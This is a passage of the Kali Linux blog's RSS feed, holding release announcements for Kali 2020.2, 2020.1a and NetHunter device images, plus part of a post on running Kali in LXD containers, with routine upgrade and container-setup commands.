&lt;p>We have been celebrating the arrival of new servers, which over the last few weeks we have been migrating too. This includes a new ARM build server and what we use for &lt;a href="https://autopkgtest.kali.org/">package testing&lt;/a>.&lt;/p>
&lt;p>This may not be directly noticeable, but you may reap the benefits of it! If you are wanting to help out with Kali, we have added a new section to our documentation showing how to submit a &lt;a href="https://www.kali.org/docs/development/contributing-runtime-tests/">autopkgtest&lt;/a>. Feedback is welcome!&lt;/p>
&lt;hr>
&lt;h2 id="kali-nethunter">Kali NetHunter&lt;/h2>
&lt;p>We were so excited about some of the work that has been happening with NetHunter recently, we already did a &lt;a href="https://www.kali.org/blog/kali-nethunter-updates/">mid-term release&lt;/a> to showcase them and get it to you as quick as possible.&lt;/p>
&lt;p>On top of all the previous NetHunter news there is even more to announce this time around!&lt;/p>
&lt;ul>
&lt;li>Nexmon support has been revived, bringing WiFi monitor support and frame injection to &lt;code>wlan0&lt;/code> on the Nexus 6P, Nexus 5, Sony Xperia Z5 Compact, and more!&lt;/li>
&lt;li>OpenPlus 3T images have been added to the download page.&lt;/li>
&lt;li>We have crossed &lt;a href="https://nethunter.kali.org/device-kernels.html">160 different kernels in our repository&lt;/a>, allowing NetHunter to &lt;a href="https://nethunter.kali.org/kernels.html">support over 64 devices&lt;/a>! Yes, over 160 kernels and over 64 devices supported. Amazing.&lt;/li>
&lt;li>Our documentation page has &lt;a href="https://www.kali.org/docs/nethunter/">received a well deserved refresh&lt;/a>, especially the kernel development section.&lt;/li>
&lt;/ul>
&lt;p>One of the most common questions to come in about NetHunter is &amp;ldquo;What device should I run it on?&amp;rdquo;. Keep your &lt;a href="https://nethunter.kali.org/images.html">eye on this page&lt;/a> to see what your options are on an automatically updated basis!&lt;/p>
&lt;p>When you think about the amount of power NetHunter provides in such a compact package, it really is mind blowing. Its been amazing to watch this progress, and the entire Kali team is excited to show you what is coming in the future.&lt;/p>
&lt;hr>
&lt;h2 id="download-kali-linux-20202">Download Kali Linux 2020.2&lt;/h2>
&lt;p>&lt;strong>Fresh images&lt;/strong>
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali users are already aware of this, but for the ones who are not, we do also produce &lt;a href="https://cdimage.kali.org/kali-weekly/">weekly builds&lt;/a> that you can use as well. If you can&amp;rsquo;t wait for our next release and you want the latest packages when you download the image, you can just use the weekly image instead. This way you&amp;rsquo;ll have fewer updates to do. &lt;em>Just know these are automated builds that we don&amp;rsquo;t QA like we do our standard release images&lt;/em>.&lt;/p>
&lt;p>&lt;strong>Existing Upgrades&lt;/strong>
If you already have an existing Kali installation, remember you can always do a quick update:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
kali@kali:~$
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
kali@kali:~$
kali@kali:~$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2020.2. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ grep VERSION /etc/os-release
VERSION=&amp;quot;2020.2&amp;quot;
VERSION_ID=&amp;quot;2020.2&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
kali@kali:~$
kali@kali:~$ uname -v
#1 SMP Debian 5.5.17-1kali1 (2020-04-21)
kali@kali:~$
kali@kali:~$ uname -r
5.5.0-kali2-amd64
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux-latest">architecture&lt;/a>.&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know is broken!&lt;/em> &lt;strong>And Twitter is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Kali NetHunter Updates</title><link>https://www.kali.org/blog/kali-nethunter-updates/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-nethunter-updates/</guid><pubDate>Wed, 01 Apr 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-nethunter-updates/images/kali-net-hunter-releases.jpg" type="image/jpg"/><description>&lt;h5 id="many-outstanding-discoveries-have-been-made-by-our-vibrant-nethunter-community-since-20201-so-we-have-decided-to-publish-a-mid-term-release-to-showcase-these-amazing-developments-on-selected-devicesmany-outstanding-discoveries-have-been-made-by-our-vibrant-nethunter-community-since-20201-so-we-have-decided-to-publish-a-mid-term-release-to-showcase-these-amazing-developments-on-selected-devices">&lt;a href="https://www.kali.org/blog/kali-nethunter-updates/#many-outstanding-discoveries-have-been-made-by-our-vibrant-nethunter-community-since-20201-so-we-have-decided-to-publish-a-mid-term-release-to-showcase-these-amazing-developments-on-selected-devices">&lt;/a>Many outstanding discoveries have been made by our vibrant NetHunter community since 2020.1, so we have decided to publish a mid-term release to showcase these amazing developments on selected devices.&lt;/h5>
&lt;p>Massive thanks to our dedicated developers &lt;a href="https://twitter.com/kimocoder">@Kimocoder&lt;/a>, &lt;a href="https://twitter.com/PaulWebSec">@PaulWebSec&lt;/a>, &lt;a href="https://twitter.com/simonpunk1">@simonpunk&lt;/a>, &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a>, &amp;amp; &lt;a href="https://github.com/johanlike">#DJY&lt;/a> who did an incredible job in bringing you the following highlights:&lt;/p>
&lt;ul>
&lt;li>Monitor support for Qualcomm wifi chips in various snapdragon SOCs&lt;/li>
&lt;li>New RTL88XXXU drivers with injection support&lt;/li>
&lt;li>New USB function management GUI for HID attacks and much more&lt;/li>
&lt;li>GitLab CI to dramatically speed up the release workflows&lt;/li>
&lt;li>NetHunter Kernel-Builder to simplify building custom kernels&lt;/li>
&lt;li>Brand new NetHunter images for the following devices
&lt;ul>
&lt;li>Nexus 6P with Android 8.1&lt;/li>
&lt;li>Nexus 6P with LineageOS 17.1&lt;/li>
&lt;li>OnePlus 7 with Android 10&lt;/li>
&lt;li>Xiaomi Mi 9T with Miui 11&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="nexus-6p-images-for-android-81-and-lineageos-171">Nexus 6P images for Android 8.1 and LineageOS 17.1&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-05-nexus-6p.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-05-nexus-6p.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>One of the most popular NetHunter devices has received a well deserved refresh.&lt;/strong>&lt;/p>
&lt;p>We have released two new images to provide support for:&lt;/p>
&lt;ul>
&lt;li>Stock Android 8.1&lt;/li>
&lt;li>LineageOS 17.1 / PE 10&lt;/li>
&lt;li>Additional WiFi adaptors with injection support&lt;/li>
&lt;/ul>
&lt;p>Both these images include updated kernels with the latest rtl88XXXu drivers from the legendary @Kimocoder, adding injection support for:&lt;/p>
&lt;ul>
&lt;li>RTL8812AU&lt;/li>
&lt;li>RTL8814AU&lt;/li>
&lt;li>RTL8821AU&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-01-Angler-10-rtl8812au.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-01-Angler-10-rtl8812au.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The &lt;strong>Android 8.1 image is considered the recommended release&lt;/strong> with a proven track record of supporting NetHunter under the most extreme conditions, including force encryption of the data partition.&lt;/p>
&lt;p>Considering the current maturity of Android 10 for this platform, we would consider this version to be most suited for those who love to experiment and don&amp;rsquo;t mind getting things working by themselves. We had to edit the vendor fstab file on a laptop to disable force encryption because TWRP didn&amp;rsquo;t support it at the time of writing. If that doesn&amp;rsquo;t scare you then this image might be just right for you.&lt;/p>
&lt;p>Both images are available for download on our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">Kali NetHunter download page&lt;/a>.&lt;/p>
&lt;h2 id="oneplus-7-t--pro-image-for-android-10">OnePlus 7 (T / Pro) image for Android 10&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-06-one-plus-7p.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-06-one-plus-7p.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Our flagship device has received a new kernel for Android 10 based on the amazing work of the talented &lt;a href="https://forum.xda-developers.com/m/tytydraco.8155542/">#tytydraco&lt;/a>.&lt;/p>
&lt;p>The image supports the following models in the series:&lt;/p>
&lt;ul>
&lt;li>OnePlus 7&lt;/li>
&lt;li>OnePlus 7 Pro&lt;/li>
&lt;li>OnePlus 7T&lt;/li>
&lt;li>OnePlus 7T Pro&lt;/li>
&lt;/ul>
&lt;p>Please note that we do not currently recommend the OnePlus 7T and OnePlus 7T Pro until full TWRP recovery support is available.&lt;/p>
&lt;p>Our pick is the OnePlus 7 for its incredible price performance ratio.&lt;/p>
&lt;p>The new image offers all the usual bells and whistles you can expect from NetHunter but also has some improvements over the Android 9 version, such as:&lt;/p>
&lt;ul>
&lt;li>Full support for USB multi-port adaptors (USB,HDMI, ethernet, pass-through charging, etc.)&lt;/li>
&lt;li>Full HID support&lt;/li>
&lt;li>The latest rtl88XXXu drivers from @Kimocoder, adding injection support for:
&lt;ul>
&lt;li>RTL8812AU&lt;/li>
&lt;li>RTL8814AU&lt;/li>
&lt;li>RTL8821AU&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The image is available for download on our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">Kali NetHunter download page&lt;/a>.
Please note that Android 10 adds certain restrictions to the way storage access is handled. Please update the NetHunter app from the NetHunter store after flashing the image to enable the required access.&lt;/p>
&lt;h2 id="xiaomi-mi-9t-image-for-android-10">Xiaomi Mi 9T image for Android 10&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-07-xiaomi-mi-9t.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-07-xiaomi-mi-9t.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are very excited to welcome our new favourite mid tier device. Sporting a Qualcomm SDM730 Snapdragon, 6GB RAM &amp;amp; 64GB /128GB it is a beast of a machine for under US$300! The miui interface is gorgeous especially when paired with the lawnchair 3 launcher but might not be everybody&amp;rsquo;s cup of tea. Luckily there are 3rd party ROMs available to suit everyone&amp;rsquo;s taste.&lt;/p>
&lt;p>Just like its bigger brother, the OP7, this device includes all the bells and whistles:&lt;/p>
&lt;ul>
&lt;li>Full support for USB multi-port adaptors (USB,HDMI, ethernet, pass-through charging, etc.)&lt;/li>
&lt;li>Full HID support&lt;/li>
&lt;li>The latest rtl88XXXu drivers from @Kimocoder, adding injection support for:
&lt;ul>
&lt;li>RTL8812AU&lt;/li>
&lt;li>RTL8814AU&lt;/li>
&lt;li>RTL8821AU&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Miui being a little bit eccentric, you might have to disable the &amp;ldquo;Privileged Extension&amp;rdquo; in the NetHunter store app under &amp;ldquo;Expert mode&amp;rdquo; if the store app fails to install applications. Other than that, this device is my personal favourite.&lt;/p>
&lt;p>The image is available for download on our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">Kali NetHunter download page&lt;/a>. Please note that Android 10 adds certain restrictions to the way storage access is handled. Please update the NetHunter app from the NetHunter store after flashing the image to enable the required access.&lt;/p>
&lt;h2 id="monitor-mode-for-internal-qcacld-wlan0-chips">Monitor mode for internal QCACLD wlan0 chips&lt;/h2>
&lt;p>Over the past few months, various researchers and developers have independently discovered a little gem amongst all the commits to the Qualcomm qcacld-3.0 wifi driver in the Code Aurora Forum: &lt;a href="https://gitlab.com/Codeaurora/platform_vendor_qcom-opensource_wlan_qcacld-3.0/-/commit/a307f63059c7fb5e89c12e057d80fe0948c11e3b">A patch to enable monitor mode&lt;/a>&lt;/p>
&lt;p>One of those researchers was our very own &lt;a href="https://twitter.com/kimocoder">@Kimocoder&lt;/a> who immediately mobilised &lt;a href="https://twitter.com/simonpunk1">@simonpunk&lt;/a> &amp;amp; &lt;a href="https://github.com/johanlike">#DJY&lt;/a> to develop kernel patches and NetHunter extensions to bring us that amazing feature within days of discovery. Outstanding work and we are incredibly proud of their achievement.&lt;/p>
&lt;p>Both the OnePlus 7 and Xiaomi Mi 9T images fully support this feature. We also added custom commands to start / stop the monitor mode for wlan0:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-08-WLAN0-NetHunter.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-08-WLAN0-NetHunter.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are working tirelessly to roll out this kernel patch to other devices and we welcome everybody&amp;rsquo;s input. If you would like to develop a custom kernel for NetHunter, please keep reading about our new kernel-builder and join us in our &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a>. The more devices we can support the better and the more people involved the more fun we are all going to have.&lt;/p>
&lt;h2 id="usb-arsenal-for-hid-attacks-and-more">USB Arsenal for HID attacks and more&lt;/h2>
&lt;p>Newer Android kernels (4.x) no longer require patches to add Human Interface Device (HID) gadget mode to our devices, which is required for rubber ducky style USB attacks.&lt;/p>
&lt;p>HID gadget mode is now fully supported by default but has to be enabled and configured via userspace controls. We have implemented a two tier USB gadget mode control centre:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>NetHunter kernel packages can install custom init.rc files with device specific USB gadget mode controls&lt;/p>
&lt;/li>
&lt;li>
&lt;p>NetHunter app developer extraordinaire &lt;a href="https://twitter.com/simonpunk1">@simonpunk&lt;/a> has developed a menu for the NetHunter app called &amp;ldquo;USB Arsenal&amp;rdquo;, which can either trigger the functions defined in the init.rc, or - if no device specific init.rc exists - allows you to configure your own gadget mode.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04a-USB-Arsenal1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04a-USB-Arsenal1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>But he didn&amp;rsquo;t stop there. The USB Arsenal also allows you to mount images (img and iso) and to provide them as a mass storage device to target machines as if it were a USB stick.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04b-USB-Arsenal2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04b-USB-Arsenal2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>On top of that, the USB Arsenal provides a menu to set up USB network tethering.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04c-USB-Arsenal3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-04c-USB-Arsenal3.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are incredibly excited about the US Arsenal and will dedicate an entire article about this useful application in the near future.&lt;/p>
&lt;h2 id="nethunter-kernel-builder">NetHunter Kernel Builder&lt;/h2>
&lt;p>We are providing three different editions of Kali NetHunter:&lt;/p>
&lt;ul>
&lt;li>Kali NetHunter rootless, which delivers over 85% of Kali NetHunter functionality to Android devices without the need to root the device or install a custom recovery&lt;/li>
&lt;li>Kali NetHunter light, which delivers over 95% of Kali NetHunter functionality to devices that are rooted and have a custom recovery but for which no NetHunter kernel exists (yet)&lt;/li>
&lt;li>Kali NetHunter, which delivers 100% but requires a rooted device with a custom recovery and a kernel that has been custom built for NetHunter&lt;/li>
&lt;/ul>
&lt;p>Building a custom kernel for NetHunter is not black magic but is does require experimentation, patience, resilience and a lot of time&amp;hellip;&lt;/p>
&lt;p>&amp;hellip;or it used to.&lt;/p>
&lt;p>We have created the NetHunter Kernel-Builder. A one stop shop to:&lt;/p>
&lt;ul>
&lt;li>Download and setup the toolchains required by your particular kernel&lt;/li>
&lt;li>Provide over &lt;a href="https://images.kali.org/nethunter/toolchains/">ten different pre-built toolchains&lt;/a> to cater for everybody&amp;rsquo;s needs&lt;/li>
&lt;li>Create a NetHunter kernel config&lt;/li>
&lt;li>Patch the kernel with standard and device specific patches from a central repository&lt;/li>
&lt;li>Build the kernel&lt;/li>
&lt;li>Create anykernel zip to test the kernel (full functionality requires a NetHunter image or kernel package)&lt;/li>
&lt;li>Create a zip file to extract in the nethunter-installer folder to build nethunter images&lt;/li>
&lt;/ul>
&lt;p>We have been using the Kernel-Builder to build the kernels for all devices on this page and it saved us over 75% of the time it would have taken us in the past.
We have added example config files that allows you to compile the kernels for the devices on this page and you can use them as a guide to build a kernel for your own device.&lt;/p>
&lt;p>The Kernel-Builder is a great tool to simplify and automate and whilst it is also ideal to learn about Android kernel building, it requires skills to build kernels and it takes time to master those skills. The Kernel-Builder will help freeing that time by eliminating repetitive and redundant tasks and documentations.&lt;/p>
&lt;p>On the topic of documentation; the documentation for the kernel builder is yet to be completed but we plan to finish that within 7 days of this blog post going up.&lt;/p>
&lt;p>Please check out the kernel-builder repo and join us in our &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a> if you are interested in building NetHunter kernels. We&amp;rsquo;d love to have you on board.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-09-Kernel-Builder.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-nethunter-updates/images/NH-Release-2020.2-pre-09-Kernel-Builder.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Please join us in the &lt;a href="https://forums.kali.org/forumdisplay.php?35-App-Store">forums&lt;/a> or on &lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">IRC&lt;/a> OFTC, #NetHunter](&lt;a href="https://webchat.oftc.net/?randomnick=1&amp;amp;channels=nethunter)">https://webchat.oftc.net/?randomnick=1&amp;amp;channels=nethunter)&lt;/a>.&lt;/p>
&lt;p>Download the brand new, mid-term release images for the &lt;a href="https://www.kali.org/get-kali/#kali-mobile">Nexus 6P, Oneplus 7 series, and Xiaomi 9T here&lt;/a>.&lt;/p></description></item><item><title>Kali Linux 2020.1a Release</title><link>https://www.kali.org/blog/kali-linux-2020-1a-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2020-1a-release/</guid><pubDate>Tue, 03 Mar 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2020-1a-release/images/kali-20201apng.jpg" type="image/jpg"/><description>&lt;p>Just a quick update to the &lt;a href="https://www.kali.org/blog/kali-linux-2020-1-release/">2020.1 release&lt;/a> we put out last month. We made some major changes to the installers, and some people had a few issues with some of the images we released. So, we made some slight alternations to smooth things out and make the install process easier for everyone.&lt;/p>
&lt;hr>
&lt;h2 id="base-image">Base Image&lt;/h2>
&lt;p>Before, we used to release multiple separate installers for different Desktop Environments (DE). With 2020.1 we changed how we distributed our base images, without having multiple different ISOs for each DE, by introducing a &amp;ldquo;installer&amp;rdquo; image as well as a &amp;ldquo;live&amp;rdquo; image.&lt;/p>
&lt;p>Both accomplish the same thing, but how they do it is different. The &amp;ldquo;installer&amp;rdquo; image is the new one, as this uses &amp;ldquo;debian-cd&amp;rdquo; on the back-end. We noticed &lt;a href="https://bugs.kali.org/view.php?id=6053">a bug&lt;/a> in a dependency chain, which caused an issue with x11. As a result, you may not have got a graphical interface after installing Kali. As a result, &lt;a href="https://www.kali.org/get-kali/">we pushed out a fix (2020.1a)&lt;/a> to address this.&lt;/p>
&lt;p>&lt;strong>Note: If you are already running 2020.1, you do not need to reinstall. The 2020.1a release is only for those who weren&amp;rsquo;t able to successfully install 2020.1&lt;/strong>&lt;/p>
&lt;hr>
&lt;h2 id="raspberry-pi">Raspberry Pi&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1a-release/images/raspberry-pi.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1a-release/images/raspberry-pi.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We have also pushed out an updated image, both 32-bit and 64-bit for &lt;a href="https://www.kali.org/get-kali/#kali-arm">Raspberry Pi&lt;/a>, due to some files being corrupt in the initial image.&lt;/p>
&lt;hr>
&lt;h2 id="vagrant">Vagrant&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1a-release/images/VAGRANT_CLOUD.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1a-release/images/VAGRANT_CLOUD.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Since the introduction of a &lt;a href="https://www.kali.org/blog/kali-default-non-root-user/">non-root user&lt;/a>, we have switched the &lt;a href="https://www.kali.org/docs/introduction/default-credentials/">default user&lt;/a> to be &lt;code>kali&lt;/code>. We also moved the &lt;a href="https://app.vagrantup.com/kalilinux/boxes/rolling">vagrant image&lt;/a> to this user as well. However, we &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vagrant/-/issues/1/">reverted it back&lt;/a> to &lt;code>vagrant&lt;/code> to be more in line with their best practices.&lt;/p>
&lt;p>Not long after this fix, we have received &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vagrant/-/merge_requests/1">a contribution&lt;/a> to fix a bug that would occur if you defined an additional network inteface in the Vagrantfile.&lt;/p>
&lt;p>You can find both of those fixes in the latest version of the Vagrant box (2020.1.2).&lt;/p>
&lt;hr>
&lt;h2 id="pinebook-pro">PineBook Pro&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2020-1a-release/images/kali-pinebook-pro.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2020-1a-release/images/kali-pinebook-pro.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We have got Kali Linux running on a PineBook Pro! Please &lt;a href="https://www.kali.org/get-kali/#kali-arm">download a copy&lt;/a> and try it out if you have a PineBook! If you don&amp;rsquo;t know what the PineBook is, &lt;a href="https://www.pine64.org/pinebook-pro/">check it out!&lt;/a>&lt;/p>
&lt;hr>
&lt;h2 id="20202">2020.2&lt;/h2>
&lt;p>Thanks to everyone who reported an issue on the bug tracker (Sorry, twitter doesn&amp;rsquo;t count). Keep them coming so we can make 2020.2 even stronger!&lt;/p>
&lt;p>&lt;em>If you have read this far, we are aiming for a Tuesday in May for its release.&lt;/em>&lt;/p></description></item><item><title>Kali Everywhere!</title><link>https://www.kali.org/blog/kali-everywhere/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-everywhere/</guid><pubDate>Wed, 19 Feb 2020 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-everywhere/images/kali-everywhere-v2.jpg" type="image/jpg"/><description>&lt;p>There was some recent noise around &lt;a href="https://www.zdnet.com/article/uk-police-distance-themselves-from-poster-warning-parents-to-report-kids-for-using-kali-linux/">children and their use of Kali&lt;/a>, so @Re4son stepped up with a new way to run Kali in locations where it may have been hard to in the past. This allows you to run Kali instances inside other Unix systems, making Kali even more accessible to kids than before. Welcome &lt;a href="https://www.kali.org/docs/containers/kalilinux-lxc-images/">LXD&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-everywhere/images/release-2020.1-poster.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-everywhere/images/release-2020.1-poster.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>This is added to our other alternative versions of Kali such as &lt;a href="https://www.kali.org/docs/containers/official-kalilinux-docker-images/">Docker instances&lt;/a>, &lt;a href="https://www.kali.org/docs/cloud/digitalocean/">cloud images&lt;/a>, &lt;a href="https://www.kali.org/blog/wsl2-and-kali/">WSL&lt;/a>, &lt;a href="https://www.kali.org/blog/announcing-kali-for-vagrant/">Vagrant&lt;/a>, &lt;a href="https://www.kali.org/docs/nethunter/">NetHunter&lt;/a>, &lt;a href="https://www.kali.org/blog/azure-marketplace-weekly-iso-builds/">Azure&lt;/a>, and so on. We have the goal to make Kali as easily available to you as possible, so you always have access to it whenever you may need it.&lt;/p>
&lt;p>After all, &lt;a href="https://twitter.com/kalilinux/status/1229906554079645696">Kali is for the children&lt;/a>. 👐&lt;/p>
&lt;h2 id="kali-linux-lxc--lxd-images-released">Kali Linux LXC / LXD Images Released&lt;/h2>
&lt;p>Thanks to the awesome people maintaining the &lt;a href="https://images.linuxcontainers.org/">Linux Image Server for LXC and LXD&lt;/a>, our Kali Linux container images are now available for easy installation using LXD or LXC. If you are already running Kali Linux but need to protect your machine from yourself whilst reversing that funky malware you just discovered, or you got issued a work laptop running Ubuntu but you really crave a bit of Kali power then Linux Containers are the perfect solution for you.&lt;/p>
&lt;h2 id="linux-containers-are-amazing">Linux Containers are Amazing&lt;/h2>
&lt;p>Figuring out how to use LXD was as simple as &lt;a href="https://linuxcontainers.org/lxd/try-it/">trying it out online&lt;/a>.&lt;/p>
&lt;p>We quickly adopted Linux Containers as our go-to solution for reversing, developing, packaging, testing&amp;hellip; well pretty much for all the tasks that requires us to protect our production equipment from ourselves. Linux Containers are a great alternative to Virtual Machines, without the overhead. They are as awesome as docker containers but for entire systems, not just for single applications.&lt;/p>
&lt;p>We personally recommend using LXD on Ubuntu and LXC on other Linux distributions but that is purely personal preference as that is what is natively supported by those systems.&lt;/p>
&lt;p>We have published a dedicated page in our &lt;a href="https://www.kali.org/docs/containers/kalilinux-lxc-images/">Kali Linux Documentation site&lt;/a> with step-by-step guides on how to install containers in the following scenarios:&lt;/p>
&lt;ul>
&lt;li>Kali Linux LXD container on Ubuntu host for running command line applications&lt;/li>
&lt;li>Kali Linux LXD container on Ubuntu host for running GUI applications&lt;/li>
&lt;li>Kali Linux LXC privileged container on Kali host&lt;/li>
&lt;li>Kali Linux LXC unprivileged container on Kali host&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s see how easy it is to launch a Kali LXD container image in Ubuntu:&lt;/p>
&lt;h2 id="setting-up-a-kali-linux-lxd-image-in-ubuntu">Setting up a Kali Linux LXD Image in Ubuntu&lt;/h2>
&lt;p>Obviously, to get this running, you need LXD installed. In Ubuntu we can install LXD as a snap package. Once installed we launch a Kali Linux container image, install some additional packages and create a non-root user. The whole procedure should only take a few minutes before we can log in:&lt;/p>
&lt;pre>&lt;code class="language-sh">## Install LXD
sudo snap install lxd
lxd init
## Launch the container
lxc launch images:kali/current/amd64 my-kali
## Install some additional applications, use either light or default
lxc exec my-kali -- passwd ## First things first
lxc exec my-kali -- apt install kali-linux-light ## Bare minimum
lxc exec my-kali -- apt install kali-linux-default ## Default set of packages
## Setup non-root user
lxc exec my-kali -- adduser kali
lxc exec my-kali -- usermod -aG sudo kali
lxc exec my-kali -- sed -i '1 i\TERM=xterm-256color' /home/kali/.bashrc
lxc exec my-kali -- sh -c &amp;quot;echo 'Set disable_coredump false' &amp;gt; /etc/sudo.conf&amp;quot;
## Login
lxc console my-kali
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-everywhere/images/LXD-055_Ubuntu_KaliCliSession_DE.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-everywhere/images/LXD-055_Ubuntu_KaliCliSession_DE.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Voila! That&amp;rsquo;s all there is to it.&lt;/p>
&lt;p>You can even run GUI applications from the LXD container but that requires a few more steps to set up, as detailed in our &lt;a href="https://www.kali.org/docs/containers/kalilinux-lxc-images/">Documentation&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-everywhere/images/LXD-090_Ubuntu_KaliGuiSession.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-everywhere/images/LXD-090_Ubuntu_KaliGuiSession.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Running an unprivileged Kali Linux container on a Kali host using LXC might not look as dramatic but is just as useful:&lt;/p>
